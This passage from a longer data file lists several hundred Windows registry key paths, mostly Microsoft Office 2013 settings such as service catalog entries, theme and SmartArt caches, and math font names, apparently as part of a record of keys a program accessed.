  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceUrl",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url16x16",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url32x32",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Thumbnails\\Url48x48",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Capabilities",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ConnectMechanism",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsManaged",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\IsRemovable",
  1533. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceOwner",
  1534. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SortOrder",
  1535. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\SupportsMultiple",
  1536. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\CapabilitiesMetadata",
  1537. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Description",
  1538. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Name",
  1539. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceId",
  1540. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\ServiceUrl",
  1541. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata",
  1542. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1543. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1544. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\KeyTip",
  1545. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\RegularExpression",
  1546. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Metadata\\Type",
  1547. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails",
  1548. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url16x16",
  1549. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url32x32",
  1550. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_SKYDRIVE\\Thumbnails\\Url48x48",
  1551. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1552. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1553. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1554. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1555. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1556. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1557. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1558. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1559. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1560. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1561. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1562. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1563. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1564. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
  1565. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033925",
  1566. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033927",
  1567. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457485",
  1568. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033937",
  1569. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001106",
  1570. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033921",
  1571. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457444",
  1572. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090430",
  1573. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457515",
  1574. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457496",
  1575. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033929",
  1576. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457491",
  1577. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001103",
  1578. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001104",
  1579. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328925",
  1580. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328919",
  1581. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328884",
  1582. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328951",
  1583. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328998",
  1584. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328990",
  1585. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328986",
  1586. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328972",
  1587. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328940",
  1588. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328935",
  1589. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328975",
  1590. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328932",
  1591. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328908",
  1592. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328916",
  1593. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328983",
  1594. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM02835233",
  1595. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM01840907",
  1596. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851222",
  1597. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851223",
  1598. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851221",
  1599. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851224",
  1600. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851226",
  1601. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851220",
  1602. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851227",
  1603. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851219",
  1604. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851216",
  1605. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851218",
  1606. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851217",
  1607. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\TM02851225",
  1608. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998159",
  1609. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328893",
  1610. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\TM03998158",
  1611. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\TM03328905",
  1612. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1613. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1614. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  1615. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Arial Unicode MS",
  1616. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Batang",
  1617. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@BatangChe",
  1618. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DFKai-SB",
  1619. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Dotum",
  1620. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@DotumChe",
  1621. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@FangSong",
  1622. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gulim",
  1623. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GulimChe",
  1624. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Gungsuh",
  1625. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@GungsuhChe",
  1626. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@KaiTi",
  1627. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Malgun Gothic",
  1628. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo",
  1629. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Meiryo UI",
  1630. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei",
  1631. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft JhengHei UI",
  1632. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei",
  1633. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@Microsoft YaHei UI",
  1634. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU",
  1635. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS",
  1636. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU_HKSCS-ExtB",
  1637. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MingLiU-ExtB",
  1638. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Gothic",
  1639. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS Mincho",
  1640. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PGothic",
  1641. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS PMincho",
  1642. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@MS UI Gothic",
  1643. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@NSimSun",
  1644. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU",
  1645. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@PMingLiU-ExtB",
  1646. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimHei",
  1647. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun",
  1648. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\@SimSun-ExtB",
  1649. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Agency FB",
  1650. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aharoni",
  1651. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Algerian",
  1652. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Andalus",
  1653. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Angsana New",
  1654. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\AngsanaUPC",
  1655. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Aparajita",
  1656. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arabic Typesetting",
  1657. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial",
  1658. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Black",
  1659. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Narrow",
  1660. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Rounded MT Bold",
  1661. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Arial Unicode MS",
  1662. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Baskerville Old Face",
  1663. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Batang",
  1664. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BatangChe",
  1665. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bauhaus 93",
  1666. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  1667. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  1668. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  1669. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  1670. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  1671. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  1672. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  1673. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  1674. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  1675. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  1676. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  1677. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  1678. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  1679. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  1680. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
